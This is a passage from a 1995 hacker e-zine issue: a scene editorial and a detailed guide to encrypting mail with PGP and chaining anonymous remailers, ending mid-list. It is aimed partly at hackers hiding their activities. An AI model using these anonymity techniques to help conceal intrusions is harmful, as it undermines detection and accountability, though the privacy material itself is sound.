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Time for a Change Issue 2
ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜÜÜÜ
Û ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ Û Û ÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ßÜ Üß ÜÜÜÜÜÜÜÜ Û
Û Û Û Û ßÜß Û Û Û ßÜß Û Û Û
Û Û Û Û ß Û Û Û ß Û Û Û
Û ÛÜÜÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜÜÛ Û Û Û Û Û Û Û
ÛÜÜÜÜÜÜÜÜÜ Û Û ÜÜÜÜÜÜ Û Û ÛÛ Û Û Û
Û Û Û Û ßÜ Û Û Û Û Û Û
Û Û Û ßßßßßßß Û Û Û Û Û Û
Û Û ßßßßßßßßßßßßßß Û Ü Û ÛÛÜÛÛ Û Û
Û Û Û ÜÛ Û Û ß Û Û Û
Û Û Û ÜßÛ Û Û Û Û Û Û
Û ßßßßßßßßßßßßßßßßßßßßßßßßßßß Üß Û ßßßßßßßßßß Û ßßßßßßßßßß Û
ßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ßßßßßßßßßßßß ßßßßßßßßßßßß
Taking Your Machine
Presents
-+-+-====================================================================-+-+-
________ ________ __ __ ______
|__ __|__ __| \/ | |
| | | | | | ----|
| | __| |__| |\/| | ----|
|__| |________|__| |__|______|
______ _____ _____
| ___|| || |
| __| | | || | |
| | | | || \
|__| |_____||__|___|
_____ ______ __ __ _____ _ __ ______ ______
| | | || | | || || \| || ___|| |
| | | | ____|| |-| || | || || |___ | ---|
| | | || |-| || || || |__ || ---|
|__|__| |______||__| |__||__|__||__|\__||______||______|
-+-+-====================================================================-+-+-
Time For A Change
Volume 1 - Issue 2
March 22, 1995
-+-+-====================================================================-+-+-
INTRODUCTION
____________
Well, Here is issue 2. A bit fatter, and hopefully a bit better than issue
1 was. We have a bit of a variety this month.
I wrote a file which will hopefully educate more people on the why's and how's
of encryption where it relates to mail.
Major shares information on pagers, and hacking pager service.
Panther Modern takes a deeper look into nslookup, with an excellent followup
article to the How To Find Domains article from issue 1.
Terminal presents a new trojan and ideas on how to install/use it.
A System ID file with defaults listed is also included. Compiled by various
members of TYM. This list will be constantly updated and released on it's own
so please feel free to send items to be added. systems, defaults, etc..
Submissions for this magazine are accepted from anyone who has the desire to
write an interesting article, and also has the ability to do so. We are actively
seeking out quality writers, so don't be shy.
Send your submissions, comments, suggestions, etc... to:
gitm@alpha.c2.org
or on mine or Voyagers boards.
Ghost in the Machine @ The FreeMatrix ]I[ (303) 914-0031
Hackers Haven BBS (303) 343-4053
All Contents in this magazine are Copyright (C) 1995 FreeMatrix Enterprises.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
TABLE OF CONTENTS:
INTRODUCTION...............................................Ghost in the Machine
Editorial: The State of the "Scene" as I see it............Ghost in the Machine
1. Encryption. Why you should use it, and How. Pt. 1: Mail.Ghost in the Machine
2. pagers...PAGERS...pAgErS...PaGeRs...PagerS..............Major
3. passwd trojan...........................................Terminal
4. nslookup: The Utility From The Gods.....................Panther Modern
5. A Definitive Guide to System ID and Defaults............TYM Crew
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Editorial: The State of the "Scene" as I see it.
Correct me if I am wrong, but those of you who have been around for a while
may have noticed (and correctly at that) that the h/p scene in general is
degenerating. It has been a few years since I have seen a collective of people
sharing and helping each other out as a whole. I now see a bunch of tired old
has-been's taunting the never-will-be's, people who "might-have-been" being
totally turned off by the way they were treated upon entering the "scene".
The time is NOW to stop this moronic bullshit from all sides and get with
the program. The "Computer Underground" community could be a powerful force
to whatever ends, if it weren't continuously ripping itself into pieces. All
it takes is a little paying attention, a little more tolerance, and a little
more common decency.
Here are my suggestions to this end:
To those of you who have the knowledge,
but are lacking in the social skills dept:
Be nice to a lamer. You may not know what good could come of it. I do. I have
always been quite helpful to people new to the scene, and it has rewarded me
in learning new things from them. And most of the helping I've done isn't
anything that required a great devotion of time. Usually a pointer to a book,
or tfile is enough, and the people that are worth the while will take it from
there.
To those of you who are new:
Lurk!
That is the single biggest problem that people new to the scene do. They start
running off at the mouth, and anyone who may have been of help to them turns
on the auto-idiot-filters and tunes them out. Listen to what people say, watch
what they are doing, read, read, read. Most of all, ask questions only when
you have exhausted your own sources of information. In other words learn what
you can on your own, don't beg other people for easily obtained information.
Hunt it down yourself and you might get an even better deal that you had hoped
for. Pester people and you will probably be flamed into non-existence.
Most of all, I think some people need a brief refresher on what hacking is all
about.
It is not about getting root, destroying information, crashing BBS's, getting
the latest unix exploit, posing on IRC, or espionage. Though I suppose it could
be used for these ends.
It is about: LEARNING, EXPLORING, and LIBERATING.
As the title of this magazine suggests, it *IS* Time For a Change. It is time
to get back to the basics and remember what this is all about. It is time to
join together as brothers instead of breaking up into small non-communicating
parts. It is time to go and search for new things, time to quit becoming fully
like the totalitarian institutions that we supposedly despise. It is time to
throw a big fuck you at our deaf and blind government. It is time to move
forward instead of stagnating. It is time to evolve.
It is TIME FOR A CHANGE.
Peace.
gitm@alpha.c2.org
-------------------------------------------------------------------------------
Time for a Change
presents
Encryption, Why you should use it, and How.
Part I - Mail
by
Ghost in the Machine
------------------------------------------------------------------------------
INTRODUCTION -
This file is aimed at the the crypto-novices from all walks of life. Whether
it be the wiley sysadmin wanting to protect crucial system information, the
ueberhacker wanting to keep his activities secret, or joe blow from anyplace
USA that wants to make sure his private life remains private.
The main reason that I am writing this file is that many people I communicate
with refuse to use encryption, or do use it, but very grudgingly. I want all
of my communications to be secure, and so should you. This file will make an
attempt to explain why YOU need encryption, and some means of obtaining and
using it.
Why should I use encryption?
Let me just say that the world is an insecure place, and the net is even more
so. Everything you do or say can be logged, recorded, and/or in some way
monitored. I am not going to try to tell you how to gain personal privacy in
the real world (perhaps the next file.<grin>), but how to gain at least an
acceptable level of privacy electronically.
Let's start with an example that most people can relate to: Email.
You have an account on netcom.com, you want to send mail to someone at
nyx.cs.du.edu. Sounds pretty simple eh? Well, the following is a log from
traceroute on just exactly where your packets are going.
1 netcomgw.netcom.net (192.100.81.254) 2 ms 12 ms 3 ms
2 t3-1.scl-gw1.netcom.net (163.179.101.2) 3 ms 2 ms 2 ms
3 t3-1.chi-gw1-2.netcom.net (163.179.102.1) 49 ms 47 ms 47 ms
4 t3-1.dc-gw4-2.netcom.net (163.179.103.1) 60 ms 64 ms 60 ms
5 t3-1.mae-east.netcom.net (163.179.157.2) 61 ms 60 ms 60 ms
6 sl-mae-e-F0/0.icp.net (192.41.177.241) 84 ms 63 ms 60 ms
7 sl-dc-8-H1/0-T3.sprintlink.net (144.228.10.41) 61 ms 61 ms 61 ms
8 sl-fw-5-H4/0-T3.sprintlink.net (144.228.10.18) 99 ms 96 ms 93 ms
9 sl-fw-4-F0/0.sprintlink.net (144.228.30.4) 95 ms 95 ms 95 ms
10 sl-uccs-1-S0-T1.sprintlink.net (144.228.34.82) 124 ms 120 ms 122 ms
11 ACI-UCCS.co.westnet.net (198.59.67.29) 126 ms 122 ms 143 ms
12 CCC-ACI.co.westnet.net (198.59.9.81) 157 ms 206 ms 160 ms
13 UCBCGS-CCC.co.westnet.net (198.59.9.5) 188 ms 137 ms 171 ms
14 * DEN-UCBCGS.co.westnet.net (204.131.55.65) 146 ms 163 ms
15 DU-DEN.co.westnet.net (204.131.55.14) 146 ms 176 ms 162 ms
16 du-up0.cair.du.edu (130.253.253.253) 991 ms * 137 ms
17 du-up1.fddi.du.edu (130.253.251.253) 487 ms 145 ms 178 ms
18 nyx.cs.du.edu (130.253.192.68) 150 ms 176 ms *
That is 18 stops on the way to it's destination. Any of which could/can
intercept your mail. Nevermind the destination, where it will sit for an
indefinite period of time.
Let me make one thing very clear. System Administrators and Hackers, and
perhaps other people CAN and DO read private mail on the systems where they
have the ability to do so.
There are lots of reasons for this. Sysadmins sometimes do it to search for
signs of system intrusion, for other "legitimate" reasons, or simply because
they are bored, nosey and can. Hackers also do it for many reasons, to look
for possible holes/passwords/etc to exploit, to get information about a
certain person, to make sure the sysadmin is not on to them, and also
because they are bored, nosey, and can.
The next obvious step for some people (apparently a LOT of people) is to
take a small step in securing anonymity. Using an anonymous remailer.
A very popular remailer is located at anon.penet.fi. The way it works is you
send mail to it, it sends you back an id in the format of anXXXXXX where
XXXXXXX is a 6 digit number based somehow on your host/user-name. Each
person gets a unique ID and is able to send mail "anonymously" by addressing
the message to anon@anon.penet.fi and putting X-Anon-To: guy@foo.bar in
either the header or body of the message. It also has password capabilities
which are required to use the anon account to post to usenet newsgroups.
This seems to be secure enough for some people, but in reality, it's no more
secure than sending mail directly. The only difference is, on the last leg
of the trip it no longer contains your email address. One problem stems from
the fact that penet ALWAYS has you address, and in order to compromise ANY
"anon" communications through there, you only need to capture one system.
Also, there is the matter of before and after. If you send sensitive
material (I'll leave it to you to define sensitive) via email, you have your
account, and someone elses attached to it. Anon remailing takes only one of
those factors out. Depending on which side of penet your mail happens to be
on, that may not even be the case. On it's way to penet, and until it is
processed (chewed up and spat out a lot of the time) the mail contains your
address, the recipients address, AND your anon password in plaintext. Some
user end mail programs save sent mail automatically, thereby totally
defeating the purpose of sending anon mail. Even if you mail program doesn't
save your mail, and you are extra careful about it, take a look at where it
goes before it hits penet.
1 * netcomgw.netcom.net (192.100.81.254) 56 ms 66 ms
2 t3-1.scl-gw1.netcom.net (163.179.101.2) 7 ms 2 ms 2 ms
3 149.20.64.1 (149.20.64.1) 4 ms 3 ms 3 ms
4 San-Jose3.CA.ALTER.NET (137.39.29.1) 23 ms 7 ms 7 ms
5 Vienna1.VA.ALTER.NET (137.39.12.1) 242 ms 187 ms 245 ms
6 * Vienna3.VA.ALTER.NET (137.39.11.4) 70 ms 70 ms
7 Amsterdam2.NL.EU.net (134.222.5.1) 174 ms 199 ms 176 ms
8 Espoo-Tapiola1.fi.eu.net (134.222.27.2) 216 ms 213 ms 212 ms
9 Helsinki-Keskusta1.FI.EU.net (193.66.32.30) 218 ms 224 ms *
10 Helsinki-Keskusta3.FI.EU.net (193.64.138.252) 220 ms 217 ms 221 ms
11 router.penet.fi (193.64.202.254) 272 ms !H 229 ms !H 276 ms !H
11 Systems besides your own and anon.penet itself are having your mail
passed through. That's not to mention any local machines your system might
route it's mail through.
All of those systems are seeing the "before" aspect of your "anonymous"
mail. Any one of them could intercept it.
You may ask: Why would anyone want to intercept my mail?
That's not really the point, if someone is intercepting mail on a gateway,
and happens to get yours, they might read it. Even a minuscule chance of
mail interception is far too great a chance in my mind.
If that is not enough, there have been dozens of rumors of penet being
compromised, which makes it just a long out-of-the way semi-conspicuous
trip to the same place.
(Note: Since the original draft of this document, Julf's remailer at penet
was raided by finnish police (as well as his home) and he was forced to give
up some information regarding a person who used the remailer for "illegal"
purposes. Penet is through, use it only as a fond memory of an early remailer.
You are completely relieving yourself of privacy if you use this remailer.)
Consider, however, an encrypted mail message. It cannot be read locally,
because it is encrypted, it cannot be read by any possible interceptors
for the same reason. If you use encryption AND a double blind anon service
like penet, you are moving in the right direction. An even better move would
be to use encryption, cypherpunk remailers (which will be covered later in
this text) and throw penet or a similar service somewhere in the middle of
the whole mess. Then you have as close to secure communication as you can
get on a gigantic global network.
There are still ways that these messages can be intercepted, followed,
traced, and so forth, but these methods are quite difficult to accomplish,
and are well beyond the scope of this document.
METHODS -
-PGP-
The first thing you will want to do is pick up a copy of PGP 2.6 or higher.
Due to legal reasons, PGP is no longer compatible with versions lower than
2.5. You can still read messages from people using 2.3- but they cannot read
yours. If you are currently using a version less than or equal to 2.3a,
upgrade. You aren't doing anything but inconveniencing yourself.
If you are having trouble finding pgp, ftp to:
ftp.csua.berkeley.edu directory: /pub/cypherpunks
This site is the cypherpunks main ftp site. In addition to pgp, you will
find a great assortment of other interesting crypto related documents,
papers, programs, source code, etc.. It's a great site, check it out.
Once you get (and install, compile or whatever you need to do with it on
your machine) pgp, read the documentation thoroughly. Generate your own
private key, and make an ascii public key extraction. Play with it until you
get a decent feel for how the public key cryptosystem works.
-REMAILERS-
(Including chaining faq - With my mods to make it readable)
----------------------------BEGIN INSERTED FILE--------------------------------
CHAINING REMAILERS HELP
Note-1: [RRT- stands for Request-Remailing-To:,
most remailers also accept Anon-To: ]
Note-2: [You is in this doc me@mysite.home,
substitute that address for your own if you
want to receive the test message yourself]
Note-3: Anon-To: me@mysite.home MUST be written exactly as shown!
1 2 3
3 is a Space
2 is a Capital Letter
1 is a Capital Letter
Note-4: All lines beginning with > are not intended to be typed/sent that
way, they are just to mark what the messages should contain.
__________________________________________________________________________
First you should test only one remailer:
you > remailer 1 >> RRT- you
__________________________________________________________________________
This is what you send:
-->
> From: me@mysite.home
> To: hal@alumni.caltech.edu
>
> ::
> Request-Remailing-To: me@mysite.home
>
> Test of remailer at alumni.caltech.edu
__________________________________________________________________________
This is what you receive from alumni.caltech.edu:
-->
> From: nobody@alumni.caltech.edu
> To: me@mysite.home
>
> Test of remailer at alumni.caltech.edu
__________________________________________________________________________
If this is successful you add another remailer:
you > remailer 1 >> RRT- remailer 2 >>> RRT- you
This is what you send:
-->
> From: me@mysite.home
> To: hal@alumni.caltech.edu
>
> ::
> Request-Remailing-To: usura@xs4all.nl
>
> ::
> Request-Remailing-To: me@mysite.home
>
> Test of remailer at alumni.caltech.edu and RRT xs4all.nl
__________________________________________________________________________
Remailer usura@xs4all.nl will receive this message from
hal@alumni.caltech.edu
-->
> From: nobody@alumni.caltech.edu
> To: usura@xs4all.nl
>
> ::
> Request-Remailing-To: me@mysite.home
>
> Test of remailer at alumni.caltech.edu and RRT xs4all.nl
__________________________________________________________________________
Because the message has the header pasting tokens [::]
the remailer at xs4all.nl knows where to send it to.
You will receive this message from xs4all.nl
-->
> From: nobody@vox.xs4all.nl
> To: me@mysite.org
>
> Test of remailer at alumni.caltech.edu and RRT xs4all.nl
__________________________________________________________________________
You can keep adding remailers this way, every time you receive
a test message back you add another remailer: if you stop receiving
test messages, the last remailer added is most likely "down". You can
check that by using that remailer directly.
(ED Note: Some remailers that I have used take a VERY long time to remail. I
have had even direct test messages take up to 12-24 hours. In other words,
do not expect an immediate response from most remailers. A list of remailers
and their presently clocked uptime will be included later in this file.)
__________________________________________________________________________
The above is simple unencrypted remailing. If you want to have an
encrypted chained remailing, you first have to "design" the chain.
0] from your PC send to alumni.caltech.edu
1] at alumni.caltech.edu RRT jpunix.com
2] at jpunix.com RRT vox.hacktic.nl
3] at vox.hacktic.nl RRT me@mysite.home
{Stage 3:} This is actually the first message you make.
-->
> ::
> Request-Remailing-To: me@mysite.home
>
> Test of PGP'ed remailing trough caltech, jpunix and vox.
__________________________________________________________________________
The above is encrypted with the PGPpubKEY of vox.hacktic.nl and will
result in this:
> -----BEGIN PGP MESSAGE-----
> Version: 2.6 for VoX Labz.
>
> hIwCWd90FI1WkT0BA/9I6ILVhl5ZpsgKgHye+ng9CokwzdW1pMgcd0ecigppAODe
> 53LlyVw/hl1ERYIzWW9W4vnuh7sLgu9XjxB515FtT5VSyZLZrhKIF7XtACga2On+
> 1NmsecLTrgXYcc4k0Y+l66Hs06z92yhFvjXruDBS2Pame0VDtgZo+4aPntioDaYA
> AABJsVIWRaJkCib+uek9Pr6GqFP7lwaMqq8XFnFxY42h3Wn3c5DikrzmwKGK5xVs
> hmiZnEhJgXvR7jS2cNNOk/geG4SnUqvMTzpq6w==
> =b0bT
> -----END PGP MESSAGE-----
__________________________________________________________________________
Then you than proceed to the 2nd stage the message which has to leave
jpunix.com, so remail@vox.hacktic.nl knows what to do [decrypt it] is:
-->
> ::
> Encrypted: PGP
>
> -----BEGIN PGP MESSAGE-----
> Version: 2.6 for VoX Labz.
>
> hIwCWd90FI1WkT0BA/9I6ILVhl5ZpsgKgHye+ng9CokwzdW1pMgcd0ecigppAODe
> 53LlyVw/hl1ERYIzWW9W4vnuh7sLgu9XjxB515FtT5VSyZLZrhKIF7XtACga2On+
> 1NmsecLTrgXYcc4k0Y+l66Hs06z92yhFvjXruDBS2Pame0VDtgZo+4aPntioDaYA
> AABJsVIWRaJkCib+uek9Pr6GqFP7lwaMqq8XFnFxY42h3Wn3c5DikrzmwKGK5xVs
> hmiZnEhJgXvR7jS2cNNOk/geG4SnUqvMTzpq6w==
> =b0bT
> -----END PGP MESSAGE-----
__________________________________________________________________________
{Stage 2:}
But jpunix.com has to know where to send it to, so the 2nd stage msg is:
-->
> ::
> Request-Remailing-To: remail@vox.hacktic.nl
>
> ::
> Encrypted: PGP
>
> -----BEGIN PGP MESSAGE-----
> Version: 2.6 for VoX Labz.
>
> hIwCWd90FI1WkT0BA/9I6ILVhl5ZpsgKgHye+ng9CokwzdW1pMgcd0ecigppAODe
> 53LlyVw/hl1ERYIzWW9W4vnuh7sLgu9XjxB515FtT5VSyZLZrhKIF7XtACga2On+
> 1NmsecLTrgXYcc4k0Y+l66Hs06z92yhFvjXruDBS2Pame0VDtgZo+4aPntioDaYA
> AABJsVIWRaJkCib+uek9Pr6GqFP7lwaMqq8XFnFxY42h3Wn3c5DikrzmwKGK5xVs
> hmiZnEhJgXvR7jS2cNNOk/geG4SnUqvMTzpq6w==
> =b0bT
> -----END PGP MESSAGE-----
__________________________________________________________________________
The above is then encrypted with the PGPpubKEY of jpunix.com
__________________________________________________________________________
{Stage 1:}
This new encrypted message gets the headers for caltech to remail:
-->
> ::
> Request-Remailing-To: remail@jpunix.com
>
> ::
> Encrypted: PGP
>
> -----BEGIN PGP MESSAGE-----
>
> and the PGP encrypted message from {stage 2}
>
> -----END PGP MESSAGE-----
__________________________________________________________________________
{Stage 0:} the message you send to alumni.caltech.edu
is the encrypted message [with the PGPpubKEY of alumni.caltech.edu] of
stage 1 plus a Encrypted: PGP header.
-->
> To: hal@alumni.caltech.edu
>
> ::
> Encrypted: PGP
>
> -----BEGIN PGP MESSAGE-----
>
> and the PGP encrypted message from {stage 1}
>
> -----END PGP MESSAGE-----
__________________________________________________________________________
This you send from your PC to hal@alumni.caltech.edu :
->
> ::
> Encrypted: PGP
>
> -----BEGIN PGP MESSAGE----- [with alumni.caltech.edu's PUBkey]
> Version: 2.6.1
> ::
> Request-Remailing-To: remail@jpunix.com
>
> ::
> Encrypted: PGP
>
> -----BEGIN PGP MESSAGE----- [with jpunix.com's PUBkey]
> Version: 2.6.1
> ::
> Request-Remailing-To: remail@vox.hacktic.nl
>
> ::
> Encrypted: PGP
>
> -----BEGIN PGP MESSAGE----- [with vox.hacktic.nl's PUBkey]
> Version: 2.6.1
> ::
> Request-Remailing-To: me@mysite.home
>
> Hi mom I'm home.
> ---------------------------------
> -----END PGP MESSAGE-----
> -----END PGP MESSAGE-----
> -----END PGP MESSAGE-----
the inner envelope: you close this first
| |
| -> the second envelope: you close this second
|
-> the outer envelope: this one you close last
--
If you finger remailer.help.all@chaos.bsu.edu you will
receive a list of active remailers and their peculiarities.
If you finger remailer-list@chaos.bsu.edu and/or
remailer-list@kiwi.cs.berkeley.edu you will
receive a list of uptime statistics.
________________________END INSERTED FILE______________________________________
This might seem kind of confusing to some at first glance, especially once
you start testing with encryption. But the easiest way to remember is that
it is a reverse enveloping system. the last remailer on your chain is the
one with the real destination enclosed, and therefore is the first one to
encrypt. From there it is elementary.
-- TYPES
There are several kinds of remailers. Some give you a mailing address
pseudonym and no other protection. Others give you a mailing address and
will encrypt all incoming mail for you based on a password that you supply.
Still more (the majority) provide their public key and offer to decrypt and
forward mail encrypted to it. I will attempt to cover a few of these types,
and how you can go about using them.
-- ALIASING REMAILERS
The first type I will cover is the anon service at anon.penet.fi. It seems
to be the most popular, and is also in the process of having some legal
difficulties at the moment. Please read alt.privacy.anon-server if you would
like to contribute help to their cause.
anon@anon.penet.fi -
Easiest for non-crypto types. All you need to do is send mail to
ping@anon.penet.fi to receive a double blind address (note: double blind
means that anyone who responds to you will be given an anonymous address and
your mail will appear to come from it. Keep this in mind if you had thoughts
of subscribing to high volume mailing lists through this service.). It will
be mailed back to you automatically. It supports a password, nickname, and
can be moved from mailing address to mailing address. It is a very good (if not
comparably secure) remailer system. For a detailed help file on everything
you could possibly want to know about it, send mail to help@anon.penet.fi.
alpha.c2.org -
Another aliasing service, but much more secure. When you use a service like
penet, they actually have your mailing address. My mailing address at
alpha.c2.org has no idea where to find me. It instead has what is called a
reply block for my return address. A reply block is just like all the
previous chaining information I went over, except all that the last part
contains is where to send the actual message to. You can also include reply
blocks in anonymous mail to people who you would like to get a response
from. Just put the block and a few other small instructions (scripts.tar.gz
on the cypherpunk ftp site contains scripts that can automate the more
painful aspects of both this and several other chaining functions.).
Here is an example reply block to a person (note: do NOT try to use this for
remailers.. they will barf on all the excess ascii garbage).
--------8<--cut here-->8--------
::
Encrypted: PGP
-----BEGIN PGP MESSAGE-----
Version: 2.6.2
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
=tQQE
-----END PGP MESSAGE-----
<To reply, save everything below the "cut here" marks above
<into another file. Type your reply here (below the blank
<line three lines above!) and mail to hfinney@shell.portal.com
------------------------------------------------------------------
If the recipient is intelligent enough to follow these simple instructions,
they can reply to your mail without having any idea who or where you are.
The above block is kind of large, but is chained through 5 remailers, so is
reasonably secure.
The inside of this block of encryption is simply:
::
Request-Remailing-To: gitm@alpha.c2.org
Now if you were to strip away all the instructions aimed at humans from this
block, and add to the very top:
::
Request-Remailing-To: hfinney@shell.portal.com
The same block could be used as your reply block for alpha. (Note to the
dense: I don't mean that you can use this particular block for your own. I
mean, you can, if you would like me to receive all of your mail, since this
block points to my alias address at alpha <grin>).
Another nice feature of this particular remailer is that all mail sent to
your actual adress from there is also encrypted by alpha using standard pgp
encryption using your chosen password as the key. I don't consider this to
necessarily be a benefit where network monitoring is in effect, because I
don't know where or how they store the account passwords, but since the mail
you are receiving should be encrypted by the sender (hint, hint) it is an
added bonus. Also it keeps nosy local sysadmins from scanning your mail for
keywords or whatever.
From this address (like many others) you can send/receive mail and post to
usenet newsgroups. First, here is alpha's public key.
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2
mQCNAi7K8rQAAAEEAMiK09Nd+NfaL4Q14bKT0Ivdj3MdbCjAG6Cs5ULYBS1ZWSLA
KiHsm0+kPNHqBVOufN7FT2iK0Mbuyk+dZgHG6ScicDkImysRkmso7eh5c9mU9V8K
M0+ImKJyOwgVLEgyRK5e4h2XHpwSTtpx3zZpk4CsexLGCQNXF+ikm236U0rNAAUR
tCpQc2V1ZG9ueW1vdXMgUmVtYWlsZXIgPGFsaWFzQGFscGhhLmMyLm9yZz4=
=xmQf
-----END PGP PUBLIC KEY BLOCK-----
Now, to create your new mail alias, pick a nick, and create the following
message:
From: yourname@alpha.c2.org
New-Password: Your_Password
Reply-Block:
<Insert reply block here>
Now, encrypt to alpha with the -eta options on pgp, and send it off to
alias@alpha.c2.org. It would probably be a good idea to chain it through one
or more remailers on it's way. You should receive a response within an hour
or so acknowledging your alias. For a comprehensive help file on this
remailer, send mail to help@alpha.c2.org.
chop.ucsd.edu -
Nearly identical in most respects to anon.penet.fi. Send mail to
acs-help@chop.ucsd.edu for an anonymous address assignment and a helpfile.
mg5n+remailer@andrew.cmu.edu -
This aliasing service is very similar to the service provided by
alpha.c2.org. The main difference I note, is that the address is a bit more
bulky. It is in the format of mg5n+alias!<nickname>@andrew.cmu.edu. kinda
long for my tastes, but they still provide an excellent service. send mail
to mg5n+remailer-help@andrew.cmu.edu for a helpfile.
-CYPHERPUNK REMAILERS-
The next part of this file can be better summed up by 2 existing files. They
cover all of the current remailers and their functions. The first one is a
great helpfile containing the quirks and features of various remailers and
their public keys. The second is a more structured listing with uptime
statistics and other useful information.
---------------------------BEGIN INSERTED FILE #2-------------------------------
MATT GHIO'S REMAILER LIST
Finger remailer.help.all@chaos.taylored.edu or
remailer.help.all@204.95.228.28 for the latest version of this file.
Please report any inaccuracies in this information
to Matthew Ghio <ghio@cmu.edu>
Last Updated: January 24, 1995
The Cypherpunks' remailers allow you to send anonymous mail by adding the
header Request-Remailing-To: and sending to one of the addresses listed below.
Most (but not all) of these remailers also accept Anon-To: in place of
Request-Remailing-To. These headers must be typed exactly as you see them;
most remailers are case-sensitive. Mail without these headers is either
rejected or delivered to the remailer administrators.
If you can not add the required headers, place two colons (::) on the very
first line of your message, then on the next line type Request-Remailing-To:
and the address you want to send anonymously to. Skip a line, and then
begin your message. Note that by using this method it is possible to send
a message consecutively thru more than one remailer.
Be sure to place the double colons on the first line of the message, and
skip one line following the headers. Extra blank spaces (or forgetting to
separate the headers and message) may cause problems. Also, keep in mind
that many remailers only allow one recipient per message.
The standard cypherpunks anonymous remailers are:
hfinney@shell.portal.com
hal@alumni.caltech.edu
nowhere@bsu-cs.bsu.edu
usura@xs4all.nl
remail@c2.org
remailer@ideath.goldenbear.com
remailer@rebma.mn.org
remail@vox.xs4all.nl
remailer@desert.xs4all.nl
remailer@nately.ucsd.edu
remailer@xs4all.nl
homer@rahul.net
q@c2.org
remailer@alpha.c2.org
usura@replay.com
remailer@myriad.pc.cc.cmu.edu
syrinx@c2.org
vanklava@eniac.ac.siue.edu
remailer@tower.techwood.org
You can add additional headers to your message by placing two number signs (##)
at the beginning of the first line of the message body, and then add the
special headers on subsequent lines. These headers are not interpreted by
the remailer software, only passed thru to the output message. Some
remailers require that you place the Subject: header in the body of the
message, after the ## - The original subject line is removed. See the
listings available by fingering remailer-list@kiwi.cs.berkeley.edu for
specific format information for each remailer.
remailer@soda.csua.berkeley.edu works slightly differently. It includes
an encrypted reply block so that people can reply to your messages. It
also requires that you use the header Anon-Send-To: to send anonymously,
and features a usenet posting service. For more information on this
